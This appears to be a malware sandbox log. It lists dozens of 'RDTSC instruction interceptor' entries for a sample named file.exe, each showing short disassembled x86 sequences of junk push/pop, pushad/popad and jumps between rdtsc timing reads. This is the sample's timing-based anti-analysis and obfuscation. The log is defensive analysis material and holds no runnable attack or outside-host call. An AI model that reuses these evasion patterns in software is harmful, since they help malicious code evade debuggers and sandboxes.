Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AFCA second address: 92AFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AFCE second address: 92AFD8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F00DC7AD946h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92AFD8 second address: 92AFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B3A6 second address: 92B3AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B4F7 second address: 92B50E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA023h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B50E second address: 92B527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F00DC7AD950h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E9DD second address: 92E9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F00DD5CA016h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F00DD5CA016h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E9F0 second address: 92EA10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD950h 0x00000007 jbe 00007F00DC7AD946h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9341CF second address: 9341DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F00DD5CA016h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93449F second address: 9344A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933EE6 second address: 933EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933EF1 second address: 933F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jns 00007F00DC7AD94Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934D44 second address: 934D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934E89 second address: 934E9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD94Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934E9B second address: 934EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934EA1 second address: 934EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9385DF second address: 9385FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F00DD5CA026h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9385FB second address: 938617 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00DC7AD952h 0x00000008 jg 00007F00DC7AD946h 0x0000000e jbe 00007F00DC7AD946h 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007F00DC7AD946h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938617 second address: 93861B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93861B second address: 938644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F00DC7AD958h 0x00000010 jng 00007F00DC7AD946h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938644 second address: 93866D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F00DD5CA016h 0x00000008 jmp 00007F00DD5CA029h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937EDD second address: 937EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F00DC7AD951h 0x0000000c push esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 937EFE second address: 937F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F00DD5CA016h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F00DD5CA016h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938055 second address: 938061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F00DC7AD948h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7E45 second address: 8B7E4F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F00DD5CA016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7E4F second address: 8B7E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F00DC7AD946h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F00DC7AD951h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7E74 second address: 8B7E78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A6F0 second address: 93A707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD950h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941780 second address: 941796 instructions: 0x00000000 rdtsc 0x00000002 je 00007F00DD5CA016h 0x00000008 jmp 00007F00DD5CA01Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941796 second address: 94179C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94179C second address: 9417A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9417A2 second address: 9417A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940608 second address: 94060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94060E second address: 940625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DC7AD952h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940625 second address: 94062A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94062A second address: 940632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940632 second address: 940666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DD5CA01Eh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F00DD5CA020h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9414AE second address: 9414B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945BE3 second address: 945BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B47F7 second address: 8B4855 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD950h 0x00000007 jmp 00007F00DC7AD951h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007F00DC7AD962h 0x00000014 jo 00007F00DC7AD946h 0x0000001a jmp 00007F00DC7AD956h 0x0000001f jl 00007F00DC7AD948h 0x00000025 push eax 0x00000026 pop eax 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b pushad 0x0000002c popad 0x0000002d pop ecx 0x0000002e jl 00007F00DC7AD952h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4855 second address: 8B485B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B485B second address: 8B485F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B485F second address: 8B487E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F00DD5CA025h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9452C8 second address: 9452CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9452CC second address: 9452D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945590 second address: 945596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948F00 second address: 948F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F00DD5CA016h 0x0000000a jp 00007F00DD5CA016h 0x00000010 popad 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007F00DD5CA023h 0x0000001a jmp 00007F00DD5CA01Bh 0x0000001f pushad 0x00000020 popad 0x00000021 jnc 00007F00DD5CA01Eh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948F35 second address: 948F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F00DC7AD946h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948F41 second address: 948F47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948699 second address: 94869F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A6B0 second address: 94A6B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A6B4 second address: 94A6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DC7AD957h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F00DC7AD948h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A6DD second address: 94A6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A6E3 second address: 94A6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A6E7 second address: 94A6EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ADC74 second address: 8ADC79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953261 second address: 953267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953267 second address: 953271 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F00DC7AD946h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953271 second address: 953277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953277 second address: 953281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F00DC7AD946h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953281 second address: 953291 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F00DD5CA01Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9512B4 second address: 9512EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD955h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F00DC7AD950h 0x0000000e pushad 0x0000000f jmp 00007F00DC7AD94Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9515B7 second address: 9515CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F00DD5CA016h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F00DD5CA01Eh 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9515CE second address: 9515D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9515D5 second address: 9515E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jo 00007F00DD5CA016h 0x0000000c jnl 00007F00DD5CA016h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9518D3 second address: 9518F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F00DC7AD957h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9518F4 second address: 9518FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952764 second address: 95276F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95276F second address: 952773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D40A second address: 95D436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F00DC7AD946h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F00DC7AD94Bh 0x00000012 jmp 00007F00DC7AD952h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D436 second address: 95D43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C53A second address: 95C551 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD94Dh 0x00000007 jns 00007F00DC7AD946h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C69E second address: 95C6B2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F00DD5CA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F00DD5CA016h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C7E5 second address: 95C7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F00DC7AD951h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C7FB second address: 95C805 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F00DD5CA022h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C93D second address: 95C941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C941 second address: 95C947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C947 second address: 95C962 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00DC7AD956h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C962 second address: 95C96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F00DD5CA016h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C96E second address: 95C986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F00DC7AD950h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95CDFD second address: 95CE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DD5CA01Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95CE0B second address: 95CE1B instructions: 0x00000000 rdtsc 0x00000002 je 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9663B3 second address: 9663C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F00DD5CA016h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96498E second address: 9649C1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F00DC7AD955h 0x0000000f pushad 0x00000010 jmp 00007F00DC7AD950h 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964AF8 second address: 964AFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964EEC second address: 964EFB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00DC7AD946h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964EFB second address: 964F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F00DD5CA016h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964F0A second address: 964F11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9650B0 second address: 9650D0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F00DD5CA016h 0x00000008 jmp 00007F00DD5CA023h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96521B second address: 965221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965221 second address: 96527E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F00DD5CA01Dh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 jno 00007F00DD5CA025h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jo 00007F00DD5CA016h 0x00000020 jnl 00007F00DD5CA016h 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a popad 0x0000002b pushad 0x0000002c jnl 00007F00DD5CA016h 0x00000032 push esi 0x00000033 pop esi 0x00000034 jmp 00007F00DD5CA01Fh 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96527E second address: 965292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00DC7AD950h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9653F5 second address: 965400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965400 second address: 96541F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD94Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F00DC7AD94Ah 0x0000000e popad 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96541F second address: 965440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F00DD5CA020h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnc 00007F00DD5CA016h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965ABE second address: 965AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 js 00007F00DC7AD946h 0x0000000c jp 00007F00DC7AD946h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965AD2 second address: 965ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F00DD5CA01Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964168 second address: 96416D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
